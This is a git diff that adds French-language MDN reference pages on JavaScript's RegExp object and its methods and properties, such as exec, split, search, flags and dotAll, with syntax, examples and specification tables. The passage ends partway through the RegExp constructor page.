diff --git a/files/fr/web/javascript/reference/global_objects/regexp/@@search/index.html b/files/fr/web/javascript/reference/global_objects/regexp/@@search/index.html new file mode 100644 index 0000000000..f01c42c1d0 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/@@search/index.html @@ -0,0 +1,118 @@ +--- +title: 'RegExp.prototype[@@search]()' +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/@@search +tags: + - Expressions rationnelles + - JavaScript + - Méthode + - Prototype + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@search +--- +
{{JSRef}}
+ +

La méthode [@@search]() recherche une correspondance entre une expression rationnelle décrite par this et une chaîne de caractères donnée.

+ +
{{EmbedInteractiveExample("pages/js/regexp-prototype-@@search.html")}}
+ + + +

Syntaxe

+ +
regexp[Symbol.search](str)
+ +

Paramètres

+ +
+
str
+
Une chaîne de caractères ({{jsxref("String")}}) sur laquelle on veut rechercher une correspondance.
+
+ +

Valeur de retour

+ +
+
entier
+
Si la recherche réussit, [@@search]() renvoie la position de la première correspondance de l'expression rationnelle au sein de la chaîne, sinon elle renvoie -1.
+
+ +

Description

+ +

Cette méthode est appelée en interne lors de l'utilisation de {{jsxref("String.prototype.search()")}}. Ainsi, les deux exemples qui suivent sont équivalents et le second est la version interne du premier :

+ +
'abc'.search(/a/);
+
+/a/[Symbol.search]('abc');
+ +

Cette méthode existe afin de pouvoir adapter le comportement de la recherche pour les sous-classes de RegExp.

+ +

Exemples

+ +

Appel direct

+ +

Cette méthode peut être utilisée comme {{jsxref("String.prototype.search()")}}, elle utilise simplement un objet this différent et un ordre de paramètres différent :

+ +
var re = /-/g;
+var str = '2016-01-02';
+var résultat = re[Symbol.search](str);
+console.log(résultat);  // 4
+
+ +

Utiliser @@search avec une sous-classe

+ +

Les sous-classes de {{jsxref("RegExp")}} peuvent surcharger [@@search]() afin de modifier le comportement obtenu :

+ +
class MaRegExp extends RegExp {
+  constructor(str) {
+    super(str)
+    this.pattern = str;
+  }
+  [Symbol.search](str) {
+    return str.indexOf(this.pattern);
+  }
+}
+
+var re = new MaRegExp('a+b');
+var str = 'ab a+b';
+var résultat = str.search(re); // String.prototype.search appelle re[@@search].
+console.log(résultat); // 3
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-regexp.prototype-@@search', 'RegExp.prototype[@@search]')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-regexp.prototype-@@search', 'RegExp.prototype[@@search]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.@@search")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.search()")}}
    • +
  • {{jsxref("RegExp.prototype.@@match()", "RegExp.prototype[@@match]()")}}
    • +
  • {{jsxref("RegExp.prototype.@@replace()", "RegExp.prototype[@@replace]()")}}
    • +
  • {{jsxref("RegExp.prototype.@@split()", "RegExp.prototype[@@split]()")}}
    • +
  • {{jsxref("RegExp.prototype.exec()")}}
    • +
  • {{jsxref("RegExp.prototype.test()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/regexp/@@species/index.html b/files/fr/web/javascript/reference/global_objects/regexp/@@species/index.html new file mode 100644 index 0000000000..00f4bbb507 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/@@species/index.html @@ -0,0 +1,77 @@ +--- +title: 'get RegExp[@@species]' +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/@@species +tags: + - Expressions rationnelles + - JavaScript + - Propriété + - Prototype + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@species +--- +
{{JSRef}}
+ +

La propriété accesseur RegExp[@@species] renvoie le constructeur RegExp.

+ +
{{EmbedInteractiveExample("pages/js/regexp-getregexp-@@species.html")}}
+ + + +

Syntaxe

+ +
RegExp[Symbol.species]
+
+ +

Description

+ +

L'accesseur species renvoie le constructeur par défaut pour les objets RegExp. Les constructeurs des sous-classes peuvent surcharger ce symbole afin de modifier l'affectation du constructeur.

+ +

Exemples

+ +

La propriété species renvoie le constructeur par défaut, dans le cas des objets RegExp, c'est le constructeur RegExp :

+ +
RegExp[Symbol.species]; // function RegExp()
+ +

Pour les objets dérivés (par exemple, une classe MaRegExp), la valeur de species sera le constructeur MaRegExp. Il est possible de surcharger ce comportement afin de renvoyer le constructeur parent RegExp :

+ +
class MaRegExp extends RegExp {
+  // On surcharge species pour renvoyer
+  // le constructeur parent RegExp
+  static get [Symbol.species]() { return RegExp; }
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-get-regexp-@@species', 'get RegExp [ @@species ]')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-regexp-@@species', 'get RegExp [ @@species ]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.@@species")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("RegExp")}}
    • +
  • {{jsxref("Symbol.species")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/regexp/@@split/index.html b/files/fr/web/javascript/reference/global_objects/regexp/@@split/index.html new file mode 100644 index 0000000000..0581e2a64d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/@@split/index.html @@ -0,0 +1,118 @@ +--- +title: 'RegExp.prototype[@@split]()' +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/@@split +tags: + - Expressions rationnelles + - JavaScript + - Méthode + - Prototype + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@split +--- +
{{JSRef}}
+ +

La méthode [@@split]() permet de découper une chaîne de caractères ({{jsxref("String")}}) en un tableau de sous-chaînes.

+ +
{{EmbedInteractiveExample("pages/js/regexp-prototype-@@split.html")}}
+ + + +

Syntaxe

+ +
regexp[Symbol.split](str[, limite])
+ +

Paramètres

+ +
+
str
+
La chaîne de caractères qu'on souhaite découper.
+
limite
+
+

Paramètre optionnel. Un entier indiquant le nombre maximal de sous-chaînes à trouver. La méthode [@@split]() découpe la chaîne pour chaque correspondance de l'expression rationnelle this jusqu'à ce que le nombre d'éléments obtenus atteigne cette limite ou que la chaîne n'ait plus de correspondances.

+
+
+ +

Valeur de retour

+ +

Un tableau ({{jsxref("Array")}}) dont les éléments sont les sous-chaînes de caractères issues de la découpe.

+ +

Description

+ +

Cette méthode est appelée de façon interne par la méthode {{jsxref("String.prototype.split()")}} lorsque l'argument str est un objet {{jsxref("RegExp")}}. Ainsi, les deux exemples qui suivent sont équivalents et le second est la version interne du premier :

+ +
'a-b-c'.split(/-/);
+
+/-/[Symbol.split]('a-b-c');
+ +

Cette méthode existe afin de pouvoir adapter le fonctionnement de la découpe pour les sous-classes de RegExp.

+ +

Si le séparateur n'est pas un objet {{jsxref("RegExp")}}, la méthode {{jsxref("String.prototype.split()")}} n'appellera pas cette méthode et ne créera pas d'objet {{jsxref("RegExp")}}.

+ +

Exemples

+ +

Appel direct

+ +

Cette méthode peut être utilisée comme  {{jsxref("String.prototype.split()")}}, l'objet this est différent et l'ordre des arguments également.

+ +
var re = /-/g;
+var str = '2016-01-02';
+var résultat = re[Symbol.split](str);
+console.log(résultat);  // ["2016", "01", "02"]
+
+ +

Utiliser @@split avec une sous-classe

+ +

Les sous-classes de {{jsxref("RegExp")}} peuvent surcharger  [@@split]() afin de modifier le comportement de la découpe :

+ +
class MaRegExp extends RegExp {
+  [Symbol.split](str, limit) {
+    var résultat = RegExp.prototype[Symbol.split].call(this, str, limit);
+    return résultat.map(x => "(" + x + ")");
+  }
+}
+
+var re = new MaRegExp('-');
+var str = '2016-01-02';
+var résultat = str.split(re); // String.prototype.split appelle re[@@split].
+console.log(résultat); // ["(2016)", "(01)", "(02)"]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-regexp.prototype-@@split', 'RegExp.prototype[@@split]')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-regexp.prototype-@@split', 'RegExp.prototype[@@split]')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.@@split")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.split()")}}
    • +
  • {{jsxref("RegExp.prototype.@@match()", "RegExp.prototype[@@match]()")}}
    • +
  • {{jsxref("RegExp.prototype.@@replace()", "RegExp.prototype[@@replace]()")}}
    • +
  • {{jsxref("RegExp.prototype.@@search()", "RegExp.prototype[@@search]()")}}
    • +
  • {{jsxref("RegExp.prototype.exec()")}}
    • +
  • {{jsxref("RegExp.prototype.test()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/regexp/compile/index.html b/files/fr/web/javascript/reference/global_objects/regexp/compile/index.html new file mode 100644 index 0000000000..4ce0f1f857 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/compile/index.html @@ -0,0 +1,87 @@ +--- +title: RegExp.prototype.compile() +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/compile +tags: + - Deprecated + - JavaScript + - Méthode + - Prototype + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/compile +--- +
{{JSRef}} {{deprecated_header}}
+ +

La méthode dépréciée compile() est utilisée afin de (re)compiler une expression rationnelle lors de l'exécution d'un script. Cette méthode effectue essentiellement les mêmes actions que le constructeur RegExp.

+ +

Syntaxe

+ +
regexObj.compile(motif, flags)
+ +

Paramètres

+ +
+
motif
+
Le texte de l'expression rationnelle.
+
flags
+
+

S'ils sont utilisés, les drapeaux (flags) peuvent être combinés avec les valeurs suivantes :

+ +
+
g
+
correspondance globale
+
i
+
ignorer la casse
+
m
+
multiligne : on traite les caractères de début et de fin (^ et $) de façon à travailler sur plusieurs lignes (ils correspondent au début et à la fin de chaque ligne et non au début ou à la fin de la chaîne entière)
+
y
+
adhérence : ne recherche les correspondances qu'à partir de l'indice fourni par la propriété lastIndex de l'expression rationnelle dans la chaîne cible (la recherche n'est pas effectuée pour les indices suivants).
+
+
+
+ +

Description

+ +

La méthode compile est dépréciée. Pour obtenir le même effet, on utilisera le constructeur RegExp.

+ +

Exemples

+ +

Dans l'exemple qui suit, on voit comment réinitialiser le motif et les drapeaux d'une expression rationnelle grâce à  la méthode compile().

+ +
var regexObj = new RegExp("toto", "gi");
+regexObj.compile("nouveau toto", "g");
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES6', '#sec-regexp.prototype.compile', 'RegExp.prototype.compile')}}{{Spec2('ES6')}}Définition initiale dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
{{SpecName('ESDraft', '#sec-regexp.prototype.compile', 'RegExp.prototype.compile')}}{{Spec2('ESDraft')}}Définition initiale dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.compile")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("RegExp")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/regexp/dotall/index.html b/files/fr/web/javascript/reference/global_objects/regexp/dotall/index.html new file mode 100644 index 0000000000..37335fe2c0 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/dotall/index.html @@ -0,0 +1,50 @@ +--- +title: RegExp.prototype.dotAll +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/dotAll +tags: + - Draft + - JavaScript + - Propriété + - Prototype + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/dotAll +--- +

{{JSRef}}{{Draft}}

+ +

La propriété dotAll indique si le marqueur "s" est utilisé pour l'expression rationnelle. dotAll est une propriété en lecture seule et qui renseigne à propos de l'expression rationnelle courante.

+ +

{{JS_Property_Attributes(0, 0, 1)}}

+ +

Description

+ +

dotAll est un booléen qui vaut true si le marqueur "s" a été utilisé pour l'expression et false sinon. Le marqueur "s" indique que le caractère spécial point (".") doit également correspondre aux caractères de saut de ligne (et pour lesquels il ne correspondrait pas s'il n'était pas activé) :

+ +
    +
  • U+000A LINE FEED (LF) ("\n")
    • +
  • U+000D CARRIAGE RETURN (CR) ("\r")
    • +
  • U+2028 LINE SEPARATOR
    • +
  • U+2029 PARAGRAPH SEPARATOR
    • +
+ +

Cela signifie ainsi que le point peut correspondre à n'importe quel caractère du plan multilingue de base Unicode (ou Basic Multilingual Plane (BMP)). Si on souhaite également cibler les caractères des plans astraux, il faudra utiliser le marqueur "u" (unicode). En utilisant les deux marqueurs simultanément, on peut alors cibler n'importe quel caractère Unicode.

+ +

Cette propriété est uniquement accessible en lecture et ne peut pas être modifiée.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.dotAll")}}

+ +

Voir aussi

+ +
    +
  • {{JSxRef("RegExp.lastIndex")}}
    • +
  • {{JSxRef("RegExp.prototype.global")}}
    • +
  • {{JSxRef("RegExp.prototype.ignoreCase")}}
    • +
  • {{JSxRef("RegExp.prototype.multiline")}}
    • +
  • {{JSxRef("RegExp.prototype.source")}}
    • +
  • {{JSxRef("RegExp.prototype.sticky")}}
    • +
  • {{JSxRef("RegExp.prototype.unicode")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/regexp/exec/index.html b/files/fr/web/javascript/reference/global_objects/regexp/exec/index.html new file mode 100644 index 0000000000..6db78d71f3 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/exec/index.html @@ -0,0 +1,200 @@ +--- +title: RegExp.prototype.exec() +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/exec +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/exec +--- +
{{JSRef}}
+ +

La méthode exec() exécute la recherche d'une correspondance sur une chaîne de caractères donnée. Elle renvoie un tableau contenant les résultats ou {{jsxref("null")}}.

+ +

Si on souhaite uniquement savoir s'il y a une correspondance, on utilisera la méthode {{jsxref("RegExp.prototype.test()")}} ou la méthode {{jsxref("String.prototype.search()")}}.

+ +
{{EmbedInteractiveExample("pages/js/regexp-prototype-exec.html")}}
+ + + +

Les objets représentant des expressions rationnelles gardent un état en mémoire lorsqu'ils utilisent les marqueurs {{jsxref("RegExp.global", "global")}} ou {{jsxref("RegExp.sticky", "sticky")}} et ils gardent notamment en mémoire {{jsxref("RegExp.lastIndex", "lastIndex")}} à partir de la correspondance précédemment trouvée. Ainsi, exec() peut être utilisée afin de parcourir plusieurs correspondances dans un texte (avec des groupes capturants) (contrairement à {{jsxref("String.prototype.match()")}}).

+ +

Syntaxe

+ +
regexObj.exec(chaîne)
+ +

Paramètres

+ +
+
chaîne
+
La chaîne de caractères dans laquelle on recherche la correspondance décrite par l'expression rationnelle.
+
+ +

Valeur de retour

+ +

S'il y a une correspondance, la méthode exec() renvoie un tableau (contenant des éléments et deux propriétés index et values, cf. ci-après) et met à jour les propriétés de l'objet représentant l'expression rationnelle (notamment {{jsxref("RegExp.lastIndex", "lastIndex")}}). Le tableau renvoyé contient le texte qui correspond dans le premier élément puis un élément pour chaque groupe capturé dans les parenthèses capturantes.

+ +

S'il n'y a aucune correspondance, la méthode exec() renvoie {{jsxref("null")}} et la propriété {{jsxref("RegExp.lastIndex", "lastIndex")}} reçoit la valeur 0.

+ +

Description

+ +

Si on a l'exemple suivant :

+ +
// On a une correspondance si on a "quick brown" suivi par "jumps", on ignore les caractères entre
+// On garde en mémoire "brown" et "jumps"
+// On ignore la casse
+var re = /quick\s(brown).+?(jumps)/ig;
+var result = re.exec('The Quick Brown Fox Jumps Over The Lazy Dog');
+
+ +

Le tableau suivant montre l'état résultant suite à ce script :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ObjetPropriété/IndexDescriptionExemple
result[0]La chaîne complète des caractères qui correspondent."Quick Brown Fox Jumps"
[1], ...[n ]Les sous-chaînes correspondantes aux groupes capturants s'il y en a. Le nombre de groupes de parenthèses capturantes est illimité.result[1] === "Brown"
+ result[2] === "Jumps"
indexL'indice (compté à partir de 0) de la correspondance dans la chaîne.4
inputLa chaîne de caractères utilisée en entrée."The Quick Brown Fox Jumps Over The Lazy Dog"
relastIndexL'indice à partir duquel chercher la prochaine correspondance. Lorsque le drapeau "g" est absent, cette propriété sera 0.25
ignoreCaseIndique si le drapeau "i" a été utilisé pour ignorer la casse.true
globalIndique si le drapeau "g" a été utilisé pour la correspondance globale.true
multilineIndique si le drapeau "m" a été utilisé pour chercher une correspondance sur plusieurs lignes.false
sourceLe texte du motif."quick\s(brown).+?(jumps)"
+ +

Exemples

+ +

Trouver des correspondances successives

+ +

Si on utilise le drapeau "g" dans l'expression rationnelle, on peut utiliser la méthode exec() plusieurs fois afin de trouver les correspondances successives dans la chaîne. Lorsqu'on procède ainsi, la recherche reprend à la position indiquée par la propriété {{jsxref("RegExp.lastIndex", "lastIndex")}} ({{jsxref("RegExp.prototype.test()", "test()")}} fera également progresser la propriété {{jsxref("RegExp.lastIndex", "lastIndex")}}).

+ +

On notera que la propriété {{jsxref("RegExp.lastIndex", "lastIndex")}} ne sera pas réinitialisée lors de la recherche sur une autre chaîne de caractères, c'est la valeur existante de {{jsxref("RegExp.lastIndex", "lastIndex")}} qui sera utilisée.

+ +

Par exemple, si on utilise le fragment de code suivant :

+ +
var maRegex = /ab*/g;
+var str = 'abbcdefabh';
+var monTableau;
+while ((monTableau = maRegex.exec(str)) !== null) {
+  var msg = 'Trouvé ' + monTableau[0] + '. ';
+  msg += 'Prochaine correspondance à partir de ' + maRegex.lastIndex;
+  console.log(msg);
+}
+
+ +

Le script affichera alors :

+ +
Trouvé abb. Prochaine correspondance à partir de 3
+Trouvé ab. Prochaine correspondance à partir de 9
+
+ +
+

Attention à ne pas placer un littéral d'expression rationnelle (ou le constructeur {{jsxref("RegExp")}}) au sein de la condition while car cela créerait un boucle infinie s'il y a une correspondance car la propriété {{jsxref("RegExp.lastIndex", "lastIndex")}} serait redéfinie à chaque itération. Il faut également s'assurer que le drapeau global est défini sinon on aura également une boucle.

+
+ +

Utiliser exec() avec des littéraux

+ +

Il est aussi possible d'utiliser exec() sans créer d'objet {{jsxref("RegExp")}} explicite :

+ +
var matches = /(coucou \S+)/.exec('Ceci est un coucou monde !');
+console.log(matches[1]);
+
+ +

Cela affichera 'coucou monde !'.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.10.6.21', 'RegExp.exec')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-regexp.prototype.exec', 'RegExp.exec')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-regexp.prototype.exec', 'RegExp.exec')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.exec")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/regexp/flags/index.html b/files/fr/web/javascript/reference/global_objects/regexp/flags/index.html new file mode 100644 index 0000000000..c110c30d38 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/flags/index.html @@ -0,0 +1,80 @@ +--- +title: RegExp.prototype.flags +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/flags +tags: + - ECMAScript 2015 + - JavaScript + - Propriété + - Prototype + - Reference + - RegExp + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/flags +--- +
{{JSRef}}
+ +

La propriété flags renvoie une chaîne de caractères contenant les drapeaux (flags) de l'objet {{jsxref("RegExp")}} auquel elle appartient.

+ +
{{EmbedInteractiveExample("pages/js/regexp-prototype-flags.html")}}
+ + + +
{{js_property_attributes(0, 0, 1)}}
+ +

Description

+ +

Les drapeaux de la propriété flags sont rangés par ordre alphabétique de gauche à droite.

+ +

Exemples

+ +

Utiliser flags

+ +
/toto/ig.flags;   // "gi"
+/truc/myu.flags;  // "muy"
+
+ +

Prothèse d'émulation (polyfill)

+ +
if (RegExp.prototype.flags === undefined) {
+  Object.defineProperty(RegExp.prototype, 'flags', {
+    configurable: true,
+    get: function() {
+      return this.toString().match(/[gimuy]*$/)[0];
+    }
+  });
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-get-regexp.prototype.flags', 'RegExp.prototype.flags')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-regexp.prototype.flags', 'RegExp.prototype.flags')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.flags")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("RegExp.prototype.source")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/regexp/global/index.html b/files/fr/web/javascript/reference/global_objects/regexp/global/index.html new file mode 100644 index 0000000000..3c9666e0bf --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/global/index.html @@ -0,0 +1,90 @@ +--- +title: RegExp.prototype.global +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/global +tags: + - JavaScript + - Propriété + - Prototype + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/global +--- +
{{JSRef}}
+ +

La propriété global indique si le marqueur (flag) "g" est utilisé pour l'expression rationnelle. global est une propriété accessible en lecture seule pour une expression rationnelle donnée.

+ +
{{EmbedInteractiveExample("pages/js/regexp-prototype-global.html")}}
+ + + +
{{js_property_attributes(0,0,1)}}
+ +

Description

+ +

La valeur de global est un booléen. Elle vaut true si le flag "g" a été utilisé, false sinon. Le flag "g" indique que l'expression rationnelle recherchera toutes les correspondances possibles d'une chaîne de caractères. Lorsqu'une expression rationnelle utilise à la fois les marqueurs global et sticky (respectivement "g" et "y"), elle ignorera le marqueur global.

+ +

Cette propriété ne peut pas être modifiée directement.

+ +

Exemples

+ +
var regex = new RegExp("toto", "g");
+
+console.log(regex.global); // true
+
+var str = 'totoexempletoto';
+var str1 = str.replace(regex, '');
+
+console.log(str1);  // affichera "exemple" dans la console
+
+var regex1 = new RegExp('toto');
+var str2 = str.replace(regex1, '');
+
+console.log(str2);  // affichera "exempletoto" dans la console
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2. Avec JavaScript 1.5 : global est une propriété d'une instance de {{jsxref("RegExp")}} et non une propriété de l'objet RegExp.
{{SpecName('ES5.1', '#sec-15.10.7.2', 'RegExp.prototype.global')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-get-regexp.prototype.global', 'RegExp.prototype.global')}}{{Spec2('ES6')}}global est désormais un accesseur lié au prototype plutôt qu'une propriété de données liée à l'instance.
{{SpecName('ESDraft', '#sec-get-regexp.prototype.global', 'RegExp.prototype.global')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.global")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("RegExp.prototype.ignoreCase")}}
    • +
  • {{jsxref("RegExp.prototype.lastIndex")}}
    • +
  • {{jsxref("RegExp.prototype.multiline")}}
    • +
  • {{jsxref("RegExp.prototype.source")}}
    • +
  • {{jsxref("RegExp.prototype.sticky")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/regexp/ignorecase/index.html b/files/fr/web/javascript/reference/global_objects/regexp/ignorecase/index.html new file mode 100644 index 0000000000..dfdf02cbad --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/ignorecase/index.html @@ -0,0 +1,81 @@ +--- +title: RegExp.prototype.ignoreCase +slug: Web/JavaScript/Reference/Objets_globaux/RegExp/ignoreCase +tags: + - JavaScript + - Propriété + - Prototype + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/ignoreCase +--- +
{{JSRef}}
+ +

La propriété ignoreCase indique si le drapeau (flag) "i" est utilisé ou non pour cette expression rationnelle. ignoreCase est une propriété accessible en lecture seule d'une instance d'expression rationnelle donnée.

+ +
{{EmbedInteractiveExample("pages/js/regexp-prototype-ignorecase.html")}}
+ + + +
{{js_property_attributes(0,0,1)}}
+ +

Description

+ +

La valeur de ignoreCase est un booléen. Elle vaut true si le flag "i" a été utilisé et false sinon. Le drapeau "i" indique si la recherche de correspondances doit être sensible à la casse ou non.

+ +

Cette propriété ne peut pas être modifiée directement.

+ +

Exemples

+ +
var regex = new RegExp("toto", "i");
+
+console.log(regex.ignoreCase); // true
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2. Avec JavaScript 1.5 : ignoreCase est une propriété d'une instance de {{jsxref("RegExp")}} et pas une propriété de l'objet RegExp.
{{SpecName('ES5.1', '#sec-15.10.7.3', 'RegExp.prototype.ignoreCase')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-get-regexp.prototype.ignorecase', 'RegExp.prototype.ignoreCase')}}{{Spec2('ES6')}}ignoreCase est désormais une propriété du prototype sous forme d'accesseur plutôt qu'une propriété directe de l'instance.
{{SpecName('ESDraft', '#sec-get-regexp.prototype.ignorecase', 'RegExp.prototype.ignoreCase')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.RegExp.ignoreCase")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("RegExp.prototype.global")}}
    • +
  • {{jsxref("RegExp.prototype.lastIndex")}}
    • +
  • {{jsxref("RegExp.prototype.multiline")}}
    • +
  • {{jsxref("RegExp.prototype.source")}}
    • +
  • {{jsxref("RegExp.prototype.sticky")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/regexp/index.html b/files/fr/web/javascript/reference/global_objects/regexp/index.html new file mode 100644 index 0000000000..7ac6296f1f --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/regexp/index.html @@ -0,0 +1,243 @@ +--- +title: RegExp +slug: Web/JavaScript/Reference/Objets_globaux/RegExp +tags: + - Constructeur + - Expressions rationnelles + - JavaScript + - Reference + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp +--- +
{{JSRef}}
+ +

Le constructeur RegExp crée un objet expression rationnelle pour la reconnaissance d'un modèle dans un texte.

+ +

Pour une introduction aux expressions rationnelles, lire le chapitre Expressions rationnelles dans le Guide JavaScript.

+ +
{{EmbedInteractiveExample("pages/js/regexp-constructor.html")}}
+ + + +

Syntaxe

+ +

Les notations littérales, par constructeur ou de base sont possibles :

+ +
/modèle/marqueurs
+new RegExp(modèle[, marqueurs])
+RegExp(modèle[, marqueurs])
+
+ +

Paramètres

+ +
+
modèle
+
Le texte de l'expression rationnelle ou, à partir d'ES5, un autre objet ou littéral RegExp à copier. Ce motif peut inclure certains caractères spéciaux pour correspondre à un ensemble de valeurs plus large (qu'une simple chaîne littérale).
+
marqueurs
+
+

Si cet argument est utilisé, il indique les marqueurs à utiliser pour l'expression rationnelle. Ces valeurs remplaceront celles de l'objet à copier si modèle est un objet RegExp (lastIndex sera réinitialisé à 0 à partir d'ECMAScript 2015 / ES6). Cet argument est une chaîne de caractères qui peut contenir une combinaison des valeurs suivantes:

+ +
+
g
+
recherche globale ; retrouve toutes les correspondances plutôt que de s'arrêter après la première.
+
i
+
la casse est ignorée. Si le marqueur u est également activé, les caractères Unicode équivalents pour la casse correspondent.
+
m
+
multiligne : les caractères de début et de fin (^ et $) sont traités comme travaillant sur des lignes multiples (i.e, ils correspondent au début et à la fin de chaque ligne (délimitée par \n ou \r), pas seulement au début ou à la fin de la chaîne d'entrée complète).
+
u
+
unicode : traite le modèle comme une séquence de points de code Unicode (voir également les chaînes binaires).
+
y
+
adhérence : n'établit de correspondance qu'à partir de l'indice dans la chaîne cible indiqué par la propriété lastIndex de l'expression rationnelle (et ne cherche pas à établir de correspondance à partir d'indices au delà).
+
s
+
"dotAll" : permet d'indiquer que . peut correspondre à un saut de ligne.
+
+
+
+ +

Description

+ +

Il existe deux façons de créer un objet RegExp : une notation littérale ou un constructeur. La notation littérale est délimitée par des barres obliques (slashes) tandis que le constructeur utilise des apostrophes. Ainsi, les expressions suivantes créent la même expression rationnelle :

+ +
/ab+c/i;                   // notation littérale
+new RegExp('ab+c', 'i');   // constructeur
+new RegExp(/ab+c/, 'i');   // notation littérale dans un constructeur
+
+ +

La notation littérale effectue la compilation de l'expression rationnelle lorsque l'expression est évaluée. Utilisez la notation littérale lorsque l'expression rationnelle reste constante. Par exemple, si vous utilisez la notation littérale pour construire une expression rationnelle utilisée dans une boucle, l'expression rationnelle ne sera pas recompilée à chaque itération.

+ +

Le constructeur de l'objet expression rationnelle, par exemple new RegExp('ab+c'), effectue la compilation de l'expression rationnelle au moment de l'exécution. Utilisez la fonction constructeur quand vous savez que le modèle d'une expression rationnelle sera variable, ou si vous ne connaissez pas le modèle et que vous l'obtiendrez d'une autre source, telle qu'une saisie utilisateur.

+ +

